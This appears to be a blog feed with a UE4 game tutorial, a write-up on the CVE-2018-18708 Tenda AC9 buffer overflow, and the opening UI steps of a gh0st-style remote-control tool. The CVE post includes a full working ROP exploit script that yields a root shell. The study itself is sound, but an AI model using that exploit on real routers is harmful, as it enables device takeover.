</p><p>先把获取所有的云放进指针数组里面，然后通过遍历删除所有云彩,如果类型转换不为空就进入 Destroy() ，然后根据InitialSpawnAmount记录的云彩数量进行生成。</p><pre><code>void ACloudSpawner::Reset()&#123;    InitialSpawnAmount = 6;    SetActorLocation(FVector::ZeroVector);   //将云彩生成器的位置归零    TArray&lt;AActor*&gt; FoundClouds;    UGameplayStatics::GetAllActorsOfClass(GetWorld(), ACloud::StaticClass(), FoundClouds);  //通过获取所有actor来找到所以云    for (AActor* TActor : FoundClouds)    &#123;        ACloud* MyCloud =  Cast&lt;ACloud&gt;(TActor);        if (MyCloud != nullptr)        &#123;            MyCloud-&gt;Destroy();        &#125;    &#125;    while (InitialSpawnAmount &gt;= 0)    &#123;        SpawnCloud();        InitialSpawnAmount--;    &#125;&#125;</code></pre><p>利用 SpawnCloud() 来生成云彩。 注释写的比较清楚了</p><p>AddActorWorldOffset(FVector(0, 0, SpawnSpacing)); 是将CloudSpawn向上移动 SpawnSpacing 的距离</p><pre><code>void ACloudSpawner::SpawnCloud()&#123;    FVector SpawnOrigin = SpawnArea-&gt;Bounds.Origin;    //获得盒子中心点    FVector SpawnExtent = SpawnArea-&gt;Bounds.BoxExtent; //获得盒子范围    float YLocation  = UKismetMathLibrary::RandomPointInBoundingBox(SpawnOrigin, SpawnExtent).X;  //随机范围内获得Y方向的点    //FVector SpawnLocation = FVector(SpawnArea-&gt;GetComponentLocation().X, YLocation, SpawnArea-&gt;GetComponentLocation().Z);  //是Component组件类型所以调用GetComponentLocation，若为actor类型则调用GetActorLocation    FVector SpawnLocation = FVector(YLocation, SpawnArea-&gt;GetComponentLocation().X, SpawnArea-&gt;GetComponentLocation().Z);  //是Component组件类型所以调用GetComponentLocation，若为actor类型则调用GetActorLocation    FActorSpawnParameters SpawnParams;    GetWorld()-&gt;SpawnActor&lt;ACloud&gt;(Cloud, SpawnLocation, FRotator::ZeroRotator, SpawnParams);     //生成cloud    AddActorWorldOffset(FVector(0, 0, SpawnSpacing));&#125;</code></pre><hr><pre><code>ps:冒号起分割作用，是类给成员变量赋值的方法，初始化列表，更适用于成员变量的常量const型。struct _XXX&#123;_XXX() : y(0xc0) &#123;&#125;&#125;;</code></pre><p>NotifyActorBeginOverlap用于处理碰撞。当碰撞的对象是主角 benben 时 就在生成一个云彩</p><pre><code>void ACloudSpawner::NotifyActorBeginOverlap(AActor* OtherActor)&#123;    Super::NotifyActorBeginOverlap(OtherActor);    benben = Cast&lt;Abenben&gt;(OtherActor);    if (benben) &#123;        SpawnCloud();    &#125;&#125;</code></pre><p>InitialSpawnAmount 用于设置云彩生成打算数量</p><p>SpawnSpacing 用于生成云彩生成的距离</p><pre><code>UPROPERTY(EditAnywhere, Category = &quot;Cloud&quot;)int InitialSpawnAmount;UPROPERTY(EditAnywhere, Category = &quot;Cloud&quot;)float SpawnSpacing;</code></pre><h2 id="显示分数"><a href="#显示分数" class="headerlink" title="显示分数"></a>显示分数</h2><p>在.h中声明两个函数</p><pre><code>void IncreaseScore();int Score;int GetScore() const;</code></pre><p>在 .cpp 中</p><pre><code>void Abenben::IncreaseScore()&#123;    Score++;&#125;int Abenben::GetScore() const&#123;    return Score;&#125;</code></pre><p>在cloud.h中声明void DisplayScore();函数</p><p><img src="https://s2.loli.net/2022/09/29/gVo24d6uQeY8pHP.png"></p><p>创建一个在蓝图中的默认对象，并把他绑定在根目录下。</p><p>displayscore函数用来修改显示分数的文本</p><p><img src="https://s2.loli.net/2022/09/29/UZ2Q91rxs6eqdiO.png"></p><p>编译后调整文本的位置大小，把初始文本设置为 空格 。</p><h2 id="TimeLine控制云彩字体的缩放和透明度"><a href="#TimeLine控制云彩字体的缩放和透明度" class="headerlink" title="TimeLine控制云彩字体的缩放和透明度"></a>TimeLine控制云彩字体的缩放和透明度</h2><p>在cloud.h中 </p><pre><code>UPROPERTY(VisibleAnyWhere, BlueprintReadOnly, Category = &quot;Show&quot;)        //可以在蓝图中读取，指定可以在外部查看，类别为showUStaticMeshComponent* CloudPlane;    UFUNCTION(BlueprintImplementableEvent)void FadeOut();UPROPERTY(VisibleAnyWhere, BlueprintReadOnly, Category = &quot;Show&quot;)UMaterialInstanceDynamic* MatInstance;                 //用于指定不透明度</code></pre><p>使得FadeOut可以在蓝图中调用。</p><p>在cloud.cpp中调用</p><pre><code>void ACloud::NotifyActorBeginOverlap(AActor* OtherActor)&#123;    Super::NotifyActorBeginOverlap(OtherActor);     //先调用父类的该方法    Benben = Cast&lt;Abenben&gt;(OtherActor);    if (Benben != NULL)    &#123;        Benben-&gt;Lanuch();        DisplayScore();        UGameplayStatics::PlaySoundAtLocation(this, CloudSound, GetActorLocation());        //Destroy();        FadeOut();    &#125;&#125;</code></pre><p>编译</p><p>因为Cloud Plane 和 MatInstance都已经在C++中暴露给蓝图，所以可以直接调用，先由updata控制逐帧物体缩放和不透明度</p><p><img src="https://s2.loli.net/2022/09/30/CKfvqkhUcRHDWoM.png"></p><p>时间轴如下，物体先放大一下然后缩小</p><p>透明度逐渐减小，然后消失，要设置的浮点型对象为Opacity</p><p><img src="https://s2.loli.net/2022/09/30/J4xbMTIeVGsUFzk.png"></p><p>找到模型所使用的材质，可以发现不透明度 的设置是由 A-Opacity控制的，这就是上面要设置Opacity的原因</p><p><img src="https://s2.loli.net/2022/09/30/mxfpiVQErFayYNP.png"></p><h2 id="游戏结束"><a href="#游戏结束" class="headerlink" title="游戏结束"></a>游戏结束</h2><p>用bDead表示角色是否死亡，用bGameStarted来表示游戏是否结束</p><pre><code>void GameOver();UPROPERTY(BlueprintReadOnly)bool bDead;bool bGameStarted;</code></pre><p>当游戏结束时bDead设置为0 然后开启输入 并且展示结束的UI界面（这个在下一个小结来写）</p><pre><code>void Abenben::GameOver()&#123;    bDead = true;    SetActorRotation(FRotator::ZeroRotator);    EnableInput(PC);    DisplayRestart();&#125;</code></pre><p>把它放在Tick中不断调用</p><pre><code>void Abenben::Tick(float DeltaTime)&#123;    Super::Tick(DeltaTime);    MoveTowardsCursor();    if (bGameStarted)    &#123;        if (GetActorLocation().Z &lt;= -48)        &#123;            GameOver();        &#125;    &#125;&#125;</code></pre><h2 id="UI界面-重新开始按钮"><a href="#UI界面-重新开始按钮" class="headerlink" title="UI界面 重新开始按钮"></a>UI界面 重新开始按钮</h2><p>创建一个控件蓝图</p><p><img src="https://s2.loli.net/2022/09/30/CVFDk7lc3htwq1W.png"></p><p>设置大小对齐 和 Style，添加一个动画</p><p><img src="https://s2.loli.net/2022/09/30/nWfrEIwKb3dPNZg.png"></p><p>在游戏开始时把该控件创建出来，并且用一个变量保存 。执行displayrestart 时把该变量显示出来，并且播放动画</p><p><img src="https://s2.loli.net/2022/09/30/alQoPgEO4L9KSYp.png"></p><h3 id="点击时触发事件"><a href="#点击时触发事件" class="headerlink" title="点击时触发事件"></a>点击时触发事件</h3><p><img src="https://s2.loli.net/2022/09/30/Ygk8PNcATaKm7Fs.png"></p><pre><code>void Abenben::Reset()&#123;    bGameStarted = false;    Score = 0;    bDead = false;&#125;</code></pre><hr><pre><code>void ACloudSpawner::Reset()&#123;    InitialSpawnAmount = 6;    SetActorLocation(FVector::ZeroVector);    TArray&lt;AActor*&gt; FoundClouds;    UGameplayStatics::GetAllActorsOfClass(GetWorld(), ACloud::StaticClass(), FoundClouds);  //通过获取所有actor来找到所以云    for (AActor* TActor : FoundClouds)    &#123;        ACloud* MyCloud =  Cast&lt;ACloud&gt;(TActor);        if (MyCloud != nullptr)        &#123;            MyCloud-&gt;Destroy();        &#125;    &#125;    while (InitialSpawnAmount &gt;= 0)    &#123;        SpawnCloud();        InitialSpawnAmount--;    &#125;&#125;</code></pre><p>当点击时，分别执行0.1.2.3这些事件 ，先调用benben-&gt;REset 设置bGameStarted  Score bDead 这些属性</p><p>获得摄像机让其跟随玩家</p><p>用 ACloudSpawner::Reset 销毁所有云，然后重新生成。</p><p>最后销毁自身。</p><h2 id="随机显示下雨"><a href="#随机显示下雨" class="headerlink" title="随机显示下雨"></a>随机显示下雨</h2><p>.h 中</p><pre><code>UPROPERTY(VisibleAnyWhere, BlueprintReadOnly, Category = &quot;Show&quot;)        //指定可以在外部查看，类别为showUStaticMeshComponent* RainPlane;UPROPERTY(EditAnyWhere, Category = &quot;Sound&quot;)USoundCue* CloudSound;UPROPERTY(VisibleAnyWhere, Category = &quot;Sound&quot;)UAudioComponent* AudioComp;</code></pre><p>.cpp中 添加组件</p><pre><code>RainPlane = CreateDefaultSubobject&lt;UStaticMeshComponent&gt;(TEXT(&quot;RainPlane&quot;));        //添加模型组件RainPlane-&gt;SetupAttachment(CloudPlane);AudioComp = CreateDefaultSubobject&lt;UAudioComponent&gt;(TEXT(&quot;AudioComp&quot;));AudioComp-&gt;SetupAttachment(CloudPlane);</code></pre><p>导入声音并且关闭自动激活</p><p><img src="https://s2.loli.net/2022/09/30/3oH7ARuVJNdgW9w.png"></p><p>把声音创建为cue这样才有根据距离调整音量的效果。</p><p><img src="https://s2.loli.net/2022/09/30/95pePsofZu2RBHA.png"></p><p>把衰减音量的选项打开，根据实际情况调整衰减半径<br><img src="https://s2.loli.net/2022/09/30/OA8cNjmBxr41J3i.png"></p><p>添加雨的贴图然后把visible设置为不可见。</p><p><img src="https://s2.loli.net/2022/09/30/FlcHCj8OUrJv76f.png"></p><p><img src="https://s2.loli.net/2022/09/30/agREdLMsFQAu2bN.png"></p><p>每次生成云时生成一个index随机数index若其&gt;=10则将雨设为可见，如果是有雨的云就打开声效。在开始生成云时调用。</p><h2 id="导入并且指定主角材质"><a href="#导入并且指定主角材质" class="headerlink" title="导入并且指定主角材质"></a>导入并且指定主角材质</h2><p>如图就不多说了</p><p><img src="https://s2.loli.net/2022/09/30/gSzTDhEu7AaiGKo.png"></p><p>新建一个动画蓝图，并设置主角的骨架。</p><p><img src="https://s2.loli.net/2022/09/30/WVYO5l4SNgMs2o7.png"></p><p>在BPbinbin下指定动画</p><p><img src="https://s2.loli.net/2022/09/30/eGcBVgxMA7WsnU9.png"></p><h2 id="用状态机播放动画"><a href="#用状态机播放动画" class="headerlink" title="用状态机播放动画"></a>用状态机播放动画</h2><p>用状态机处理角色走路 跳跃 下落 死亡 等动画</p><p>为每个状态指定好动画</p><p><img src="https://s2.loli.net/2022/09/30/CQNRAEzlJdTKc7o.png"></p><p>新建  isfalling isjumping 变量来判断角色运动状态。</p><p><img src="https://s2.loli.net/2022/09/30/jD2RHCdAfJhz9TW.png"></p><p>当isjumping为true时播放跳跃动画，isfalling为true时播放下落动画，都为false时播放走路动画</p><p>那么我们如果给isfalling isjumping  赋值呢？</p><h2 id="设置状态切换条件"><a href="#设置状态切换条件" class="headerlink" title="设置状态切换条件"></a>设置状态切换条件</h2><p>通过判断角色z方向的速度设置变量</p><p><img src="https://s2.loli.net/2022/09/30/NVqWaBilHxkwdoX.png"></p><h2 id="混合空间"><a href="#混合空间" class="headerlink" title="混合空间"></a>混合空间</h2><p>新建一个混合空间,其骨架设置为主角。</p><p><img src="https://s2.loli.net/2022/09/30/SLeuOxpEdFA5jUX.png"></p><p>将该混合空间命名为speed拖入两个速度时的动画</p><p><img src="https://s2.loli.net/2022/09/30/LTKi6dZvpf4y3ms.png"></p><p>把刚才的混合空间作为动画的输出，其参数为新声明的bool变量 speed。</p><p><img src="https://s2.loli.net/2022/09/30/LJHOtndQrNz2g1l.png"></p><p>在蓝图中设置speed</p><p><img src="https://s2.loli.net/2022/09/30/lzdtv5VTPsY36yB.png"></p><p>把bDead暴露给蓝图。在蓝图中把bDead设置为空（见上图）</p><p><img src="https://s2.loli.net/2022/09/30/MiJVj5OZXw2YqTv.png"></p><p>当isdead为真时才播放死亡动画，为假时播放其他动画，把loop设置为false否则会死了又死</p><p><img src="https://s2.loli.net/2022/09/30/nc2MYCpaZtKIz8y.png"></p><p>这个reset child on activation让其可以从头开始播放。</p><p><img src="https://s2.loli.net/2022/09/30/viWpF6IaTc5lJGo.png"></p><h2 id="背景音乐-动画通知播放脚步声-碰撞云彩声"><a href="#背景音乐-动画通知播放脚步声-碰撞云彩声" class="headerlink" title="背景音乐 动画通知播放脚步声 碰撞云彩声"></a>背景音乐 动画通知播放脚步声 碰撞云彩声</h2><p>把背景音乐放到场景中，设置loop即可</p><p>如下图播放到相应位置时添加通知 playsound 并添加 声音</p><p><img src="https://s2.loli.net/2022/09/30/1M6Ulrjc3pJTCf7.png"></p><p>在cloud.h中声明</p><pre><code>UPROPERTY(EditAnyWhere, Category = &quot;Sound&quot;)USoundCue* CloudSound;</code></pre><p>在cloud.cpp中</p><pre><code>void ACloud::NotifyActorBeginOverlap(AActor* OtherActor)&#123;    Super::NotifyActorBeginOverlap(OtherActor);     //先调用父类的该方法    Benben = Cast&lt;Abenben&gt;(OtherActor);    if (Benben != NULL)    &#123;        Benben-&gt;Lanuch();        DisplayScore();        UGameplayStatics::PlaySoundAtLocation(this, CloudSound, GetActorLocation());        //Destroy();        FadeOut();    &#125;&#125;</code></pre><p>在显示分数后播放</p><p>将音效创建为 cue</p><p>在蓝图中选定资源</p><p><img src="https://s2.loli.net/2022/09/30/54SeuqgVOaM6XFp.png"></p><h2 id="游戏发布"><a href="#游戏发布" class="headerlink" title="游戏发布"></a>游戏发布</h2><p>打包就完事了</p><p>但是我却遇到了一些问题</p><p>包含了一个UE无法编译的头文件，多亏了学长的帮助才解决了</p>]]></content>
    
    
      
      
    <summary type="html">&lt;h1 id=&quot;UE4-C-开发游戏&quot;&gt;&lt;a href=&quot;#UE4-C-开发游戏&quot; class=&quot;headerlink&quot; title=&quot;UE4 C++ 开发游戏&quot;&gt;&lt;/a&gt;UE4 C++ 开发游戏&lt;/h1&gt;&lt;p&gt;粉胖香菇&lt;/p&gt;
&lt;h2 id=&quot;资源导入与人物创建&quot;&gt;&lt;a hre</summary>
      
    
    
    
    
  </entry>
  
  <entry>
    <title>CVE-2018-18708</title>
    <link href="http://example.com/2022/10/01/%E6%A0%88%E6%BA%A2%E5%87%BA%E6%BC%8F%E6%B4%9E%20CVE-2018-18708/"/>
    <id>http://example.com/2022/10/01/%E6%A0%88%E6%BA%A2%E5%87%BA%E6%BC%8F%E6%B4%9E%20CVE-2018-18708/</id>
    <published>2022-10-01T10:43:23.767Z</published>
    <updated>2022-10-01T18:47:21.520Z</updated>
    
    <content type="html"><![CDATA[<h2 id="CVE-2018-18708-TENDA-缓冲区溢出-getshell"><a href="#CVE-2018-18708-TENDA-缓冲区溢出-getshell" class="headerlink" title="CVE-2018-18708 TENDA 缓冲区溢出 getshell"></a>CVE-2018-18708 TENDA 缓冲区溢出 getshell</h2><p>mips架构简介</p><pre><code>寄存器寄存器    名字    用法$0    $zero    常量0(constant value 0)$1    $at    保留给汇编器(Reserved for assembler)$2-$3    $v0-$v1    函数调用返回值(values for results and expression evaluation)$4-$7    $a0-$a3    函数调用参数(arguments)$8-$15    $t0-$t7    暂时的(或随便用的)$16-$23    $s0-$s7    保存的(或如果用，需要SAVE/RESTORE的)(saved)$24-$25    $t8-$t9    暂时的(或随便用的)$28    $gp    全局指针(Global Pointer)$29    $sp    堆栈指针(Stack Pointer)$30    $fp    帧指针(Frame Pointer)$31    $ra    返回地址(return address)</code></pre><p>参数传递：如果参数少于4个，通过a0-a3寄存器传递参数，否则其余通过堆栈传递。</p><pre><code>参数作为调用者（caller）栈帧的一部分，4个32bits空间为a0~a3预留（即使参数通过寄存器传递）。被调者（callee）在函数前言部分分配自己的栈空间分配（返回地址/栈帧指针/局部变量），同时栈帧指针（fp）将指向最新的栈空间，并且所有局部变量通过栈帧指针偏移寻址，堆栈指针（sp）不再发生变化。</code></pre><p><img src="https://s2.loli.net/2022/08/08/MjcUwrNeLxsfv5V.png"></p><p>以上即为在mips架构中用到的寄存器以及寄存器的作用。这边重点讲一下$ra、$a0这两个寄存器，因为$ra寄存器为函数的返回地址，进行栈溢出时需要对函数返回地址进行覆盖；$a0这个寄存器存放的数据为函数的第一个参数，例如在函数system(“/bin/sh”)中，$a0寄存器存放的值即为”/bin/sh”，这给我们在gadget构造中具有指向作用。</p><p>Tenda AC9 US_AC9V3.0RTL_V15.03.06.42_multi_TD01固件下载：<a href="https://www.tenda.com.cn/service/download-cata-11.html">https://www.tenda.com.cn/service/download-cata-11.html</a></p><h2 id="仿真模拟"><a href="#仿真模拟" class="headerlink" title="仿真模拟"></a>仿真模拟</h2><p>binwalk导出固件文件系统</p><p>binwalk -Me US_AC9V3.0RTL_V15.03.06.42_multi_TD01.bin</p><p>查看文件信息，mips，小端序，所以需要使用对应的qemu-mipsel-static来模拟。</p><pre><code>readelf -h ./bin/httpdbinwalk -Me US_AC9V3.0RTL_V15.03.06.42_multi_TD01.bin</code></pre><p><img src="https://s2.loli.net/2022/08/08/6AFG4BEpdhKlRJ9.png"></p><p>可以看出是mips架构因此我们需要用qemu-mipsel-static模式进行仿真。</p><p>为了执行文件，我们需要给httpd文件打上patch.</p><p><img src="https://s2.loli.net/2022/08/08/bSPragYZ9E7uOdA.png"></p><p>然后建立一个虚拟网卡，用于之后的gdb调试。</p><pre><code>sudo apt install uml-utilities bridge-utilssudo brctl addbr br0sudo brctl addif br0 ens33sudo ifconfig br0 upsudo dhclient br0</code></pre><p>将qemu-mipsel-static拷贝到目录下，然后以qemu-mipsel-static模式运行</p><pre><code>cp $(which qemu-mipsel-static) .sudo chroot ./ ./qemu-mipsel-static ./bin/httpd</code></pre><p><img src="https://s2.loli.net/2022/08/08/e4fyTL9zmdh36S1.png"></p><p>如果有报错信息可以按照提示目录创建目标文件。</p><h2 id="漏洞分析"><a href="#漏洞分析" class="headerlink" title="漏洞分析"></a>漏洞分析</h2><p>漏洞函数就是strcpy中，因为没有限制长度而存在的溢出，从而在上一个函数set_macfilter_rules_by_one引发栈溢出。</p><p>我们通过查询交叉引用来找到引发漏洞函数的执行流程。</p><p>formSetMacFilterCfg -&gt; set_macfilter_rules -&gt; set_macfilter_rules_by_one -&gt; parse_macfilter_rule</p><p>1.formSetMacFilterCfg<br><img src="https://s2.loli.net/2022/08/08/qYJK6wnHoZrXz4O.png"></p><p>对传入的rule_list进行判断，如果为black或者white就返回0，如果不是就返回2。用burp抓包也会返回error2</p><p><img src="https://s2.loli.net/2022/08/08/cohUp8QvazVZuIl.png"></p><p>2.set_macfilter_rules</p><p>判断数据段是否有\n 所以之后我们构造的rop链中也要包含 \n</p><p><img src="https://s2.loli.net/2022/08/08/eGQCntaNxRAukv9.png"></p><p>3.set_macfilter_rules_by_one<br><img src="https://s2.loli.net/2022/08/08/XyLl1vEYrZVhzMR.png"></p><p>4.parse_macfilter_rule</p><p>判断字符串开头是否为\r ，所以rop链中开头为 \r </p><p><img src="https://s2.loli.net/2022/08/08/7bpuolCFyUjH96h.png"></p><p>漏洞分析完毕，之后就需要判断需要溢出的长度。这里可以用cyclic或者是用gdb调试来得出</p><p>在set_macfilter_rules_by_one栈中的情况</p><p><img src="https://s2.loli.net/2022/08/08/m5IsDbATnytJla3.png"></p><p>0x1d4 + 4 = 0x1D8 = 472</p><p>所以我们需要需要填充472个字符然后再覆盖返回地址。但是ida计算的偏移可能是错误的，所以还是要调试一下。</p><pre><code>#!/usr/bin/python3import requestsfrom pwn import *url = &quot;http://192.168.183.133/goform/setMacFilterCfg&quot;cookie = &#123;&quot;Cookie&quot;:&quot;password=1111&quot;&#125;data = &#123;&quot;macFilterType&quot;: &quot;black&quot;, &quot;deviceList&quot;:&quot;\r&quot; +  &quot;A&quot; * 472 + &quot;bbbb&quot;&#125;requests.post(url, cookies=cookie, data=data)</code></pre><p><img src="https://s2.loli.net/2022/08/08/NGRAdyQvli6JS5q.png"><br><img src="https://s2.loli.net/2022/08/08/vCRfVB1IeFAWTS6.png"></p><p>可以看见ra被覆盖为了bbbb,这就说明我们的计算是正确的。</p><h2 id="漏洞利用"><a href="#漏洞利用" class="headerlink" title="漏洞利用"></a>漏洞利用</h2><h3 id="寻找libc基址"><a href="#寻找libc基址" class="headerlink" title="寻找libc基址"></a>寻找libc基址</h3><p>方法1 ：</p><p>   直接利用vmmap，找到libc，里面带有执行权限 x 的 就是libc的基地址。</p><p>方法2 ：</p><p>   在刚进入formSetMacFilterCfg函数时，也即0x04E6E0C处打下断点。用bt查看栈中函数链</p><p><img src="https://s2.loli.net/2022/08/09/ablQdhyOu741fZq.png"></p><p>发现栈中有一个来自libc中的函数。我们在libc里面寻找__uClibc_main ，在export导出表找到了。</p><p><img src="https://s2.loli.net/2022/08/09/dxjiLCANwDe7t8P.png"></p><p>计算一下0x7f583804 - 0x005F804 = 0x7F524000</p><p>这样也可以寻找到libc基地址</p><h3 id="构造rop链"><a href="#构造rop链" class="headerlink" title="构造rop链"></a>构造rop链</h3><p>对于mips下rop链的构造，经常使用到的是move $a0 $s0 。 我们可以使用一个ida工具mipsrop来寻找</p><p>在File -&gt; script command 执行两句话</p><p>然后执行 mipsrop.find(“move $a0 $s0”)  </p><pre><code>import mipsropmipsrop = mipsrop.MIPSROPFinder()</code></pre><p><img src="https://s2.loli.net/2022/08/08/3RzZlLbMOfhEqTe.png"></p><pre><code>----------------------------------------------------------------------------------------------------------------|  Address     |  Action                                              |  Control Jump                          |----------------------------------------------------------------------------------------------------------------|  0x0000DC1C  |  move $a0,$s0                                        |  jalr  $s1                             ||  0x00014EBC  |  move $a0,$s0                                        |  jalr  $s7                             ||  0x00014F80  |  move $a0,$s0                                        |  jalr  $s6                             ||  0x00015E04  |  move $a0,$s0                                        |  jalr  $s7                             ||  0x00015EC8  |  move $a0,$s0                                        |  jalr  $s6                             ||  0x00018BA0  |  move $a0,$s0                                        |  jalr  $s1                             ||  0x0001998C  |  move $a0,$s0                                        |  jalr                             |</code></pre><p>随便选择一个，我们就选择0x0000DC1C</p><p><img src="https://s2.loli.net/2022/08/08/y1nZiAMjp374R8H.png"></p><p>这个gadget可以直接跳转到s0所存储的函数，所以我们在gadget中把system地址放在s1 , 把”/bin/sh”放在s0</p><p>同样，我们为了寻找给s0,s1赋值的gadget ，可以输入mipsrop.find(“lw $s0”)</p><p><img src="https://s2.loli.net/2022/08/08/81qMIUTsWu3oaiP.png"></p><p><img src="https://s2.loli.net/2022/08/08/ebUkTNfcVPYG6hI.png"></p><p>那么我们对所有需要的寄存器都可以进行控制了，rop链构造为</p><pre><code>b&quot;\r&quot; +  b&quot;A&quot; * 472 + p32(gadget1)+b&quot;A&quot;*24+p32(binsh_addr)+p32(system_addr)+b&quot;A&quot;*12+p32(gadget2)</code></pre><h3 id="报错解决"><a href="#报错解决" class="headerlink" title="报错解决"></a>报错解决</h3><p>根据我们得到的rop链打一下</p><pre><code>#!/usr/bin/python3import requestsfrom pwn import *url = &quot;http://192.168.183.133/goform/setMacFilterCfg&quot;cookie = &#123;&quot;Cookie&quot;:&quot;password=1111&quot;&#125;#libc_base=0x7f583a08-0x0005F804libc_base=0x7f58452c-0x0006052C     #0x7F524000lib=0x7F524000system=0x0060320binsh=0x0006AE30gadget1=libc_base+0x00060530    #0x7F584530gadget2=libc_base+0x0000DC1C    #0x7F531C1Csystem_addr=libc_base+systembinsh_addr=libc_base+binshdata = &#123;&quot;macFilterType&quot;: &quot;black&quot;, &quot;deviceList&quot;:b&quot;\r&quot; +  b&quot;A&quot; * 472 + p32(gadget1)+b&quot;A&quot;*24+p32(binsh_addr)+p32(system_addr)+b&quot;A&quot;*12+p32(gadget2)&#125;requests.post(url, cookies=cookie, data=data)</code></pre><p>但是却报错 了</p><p><img src="https://s2.loli.net/2022/08/08/1JBpTnYR3K8ZVIO.png"></p><p>经过调试发现是进入snprintf时候报错</p><p><img src="https://s2.loli.net/2022/08/08/7VM1pk3WYDCQSN2.png"></p><p>继续进行调试，找到strcpy之前上一个函数的栈帧</p><p><img src="https://s2.loli.net/2022/08/08/Ov1gwhrqQTGaD5A.png"></p><p>strcpy执行之后的栈帧</p><p><img src="https://s2.loli.net/2022/08/08/d6JDRi1PA4aWwp5.png"></p><p>对比可以发现，我们覆盖掉了上一函数传入的参数，而在执行snprintf的时候会用到所传入的参数，所以我们需要把传入的第一个参数修改为一个可以访问的地址</p><h3 id="最后"><a href="#最后" class="headerlink" title="最后"></a>最后</h3><p>将第一个参数的位置改为可访问的地址</p><p>data = {“macFilterType”: “black”, “deviceList”:b”\r” +  b”A” * 472 + p32(gadget1)+p32(0x7FFFF090)+b”A”*20+p32(binsh_addr)+p32(system_addr)+b”A”*12+p32(gadget2)}</p><p>修改poc</p><pre><code>#!/usr/bin/python3import requestsfrom pwn import *url = &quot;http://192.168.183.133/goform/setMacFilterCfg&quot;cookie = &#123;&quot;Cookie&quot;:&quot;password=1111&quot;&#125;#libc_base=0x7f583a08-0x0005F804libc_base=0x7f58452c-0x0006052C     #0x7F524000lib=0x7F524000system=0x0060320binsh=0x0006AE30gadget1=libc_base+0x00060530    #0x7F584530gadget2=libc_base+0x0000DC1C    #0x7F531C1Csystem_addr=libc_base+systembinsh_addr=libc_base+binshdata = &#123;&quot;macFilterType&quot;: &quot;black&quot;, &quot;deviceList&quot;:b&quot;\r&quot; +  b&quot;A&quot; * 472 + p32(gadget1)+p32(0x7FFFF090)+b&quot;A&quot;*20+p32(binsh_addr)+p32(system_addr)+b&quot;A&quot;*12+p32(gadget2)&#125;requests.post(url, cookies=cookie, data=data)</code></pre><p>最后成功getshell</p><p><img src="https://s2.loli.net/2022/08/08/OA4tcvLz5VwRjpB.png"></p>]]></content>
    
    
      
      
    <summary type="html">&lt;h2 id=&quot;CVE-2018-18708-TENDA-缓冲区溢出-getshell&quot;&gt;&lt;a href=&quot;#CVE-2018-18708-TENDA-缓冲区溢出-getshell&quot; class=&quot;headerlink&quot; title=&quot;CVE-2018-18708 TENDA 缓</summary>
      
    
    
    
    
  </entry>
  
  <entry>
    <title>记第一个GitHub项目 --ghost远控</title>
    <link href="http://example.com/2022/10/01/%E8%BF%9C%E6%8E%A7ghost/"/>
    <id>http://example.com/2022/10/01/%E8%BF%9C%E6%8E%A7ghost/</id>
    <published>2022-10-01T09:33:18.668Z</published>
    <updated>2022-06-18T10:00:17.037Z</updated>
    
    <content type="html"><![CDATA[<h1 id="客户端界面的设计和编写"><a href="#客户端界面的设计和编写" class="headerlink" title="客户端界面的设计和编写"></a>客户端界面的设计和编写</h1><h2 id="1-1-创建窗口"><a href="#1-1-创建窗口" class="headerlink" title="1.1 创建窗口"></a>1.1 创建窗口</h2><p>1.新建一个工程，看操作  我们必须给工程起一个响亮的名字 :-D  就叫CMDghost吧</p><p>2.添加最大化窗口，最小化窗口的属性</p><p><img src="https://s2.loli.net/2022/04/07/DnJm8vQgNZKYwEu.png"></p><p>3.更改对话框到适当大小</p><p>4.添加服务端连接后显示的列表控件IDC_ONLINE，日志列表控件IDC_MESSAGE</p><p><img src="https://s2.loli.net/2022/04/07/BPiQouJmckgXetz.png"></p><p><img src="https://s2.loli.net/2022/04/07/otevpd6LEPWZCAq.png"></p><p>6.添加列表控件变量m_CList_Online,m_CList_Message</p><p><img src="https://s2.loli.net/2022/04/07/yJrF3RAUYCI6E2V.png"></p><p>7.相应对话框改变大小的消息WM_SIZE就是 向对话框抛出这个消息对话框就会改变大小，我们先相应这个消息，然后再把这个消息<br>  向下传递</p><p><img src="https://s2.loli.net/2022/04/07/mfPWCXMGOxEuaSd.png"></p><p>9.示范伸缩</p><p>10.伸缩同原来的有差别，介绍一个小技巧 在OnInitDialog:</p><p>当对话框改变时，WM_SIZE抛出消息由OnInitDialog响应，此时对话框还没有显示，可以在显示前改变对话框。</p><p><img src="https://s2.loli.net/2022/04/07/M8VW2OGDicPuR5s.png"></p><h2 id="1-2-添加列表中的列名"><a href="#1-2-添加列表中的列名" class="headerlink" title="1.2 添加列表中的列名"></a>1.2 添加列表中的列名</h2><p>1.参考gh0st的列表中的列名:<br>   0IP 1所在区域   2计算机名/备注  3操作系统  4CPU  5摄像头  6Ping</p><p>2.上一节我们为列表控件添加变量，我们来查看变量的类型:<br>  CListCtrl 类 查看MSDN  找到</p><pre><code>int InsertColumn(                int nCol,                  //列的顺序                LPCTSTR lpszColumnHeading, //列的名字                int nFormat = LVCFMT_LEFT,  //列对齐的方式 LVCFMT_LEFT, LVCFMT_RIGHT,LVCFMT_CENTER                int nWidth = -1,            //列的宽度                int nSubItem = -1           //与之联系的子条目 默认为-1 我们不用写                );</code></pre><p>3.有了这些我们可以现在就写入代码了，但请等一下我们来考虑一下以后的扩展问题，假如我们要加入新的列那会不会很麻烦，我们每一个列都写入了固定的</p><p>  顺序(0–6)没有考虑扩展，比如在CPU列的后面加入显示内存大小，那么加入的就是第5列，而第5列恰好是摄头，这样显示的数据就会混乱(其实这个正是我写</p><p>   PCRat时犯的错误)，解决这个问题的方式就是用枚举enum 写入列的顺序时不写入硬编码(0—-6)而是写入枚举成员这样我们只需很小的改动就能达到目的。</p><p>4.需要一个列表记录表格中的字符，因为这个列表比较重要所以要放到一个每一个文件都能访问到的文件，我这里选择了framework.h</p><pre><code>enum&#123;    ONLINELIST_IP=0,          //IP的列顺序    ONLINELIST_ADDR,          //地址    ONLINELIST_COMPUTER_NAME, //计算机名/备注    ONLINELIST_OS,           //操作系统    ONLINELIST_CPU,          //CPU    ONLINELIST_VIDEO,       //摄像头    ONLINELIST_PING          //PING&#125;;</code></pre><p><img src="https://s2.loli.net/2022/04/07/oIXgDbcBy2khKYf.png"></p><p>5.处理列表的代码应该统一放在一处，添加列表处理的代码InitList()</p><p>虽然列表可以直接写在OnInitDialog，但直接在这里初始化太过臃肿，所以可以添加成员函数</p><p><img src="https://s2.loli.net/2022/04/07/QImhWR61zrlBkMC.png"></p><p><img src="https://s2.loli.net/2022/04/07/UuWYy42olTQXPiM.png"></p><p>6.写入加入列表列名的代码:</p><p>   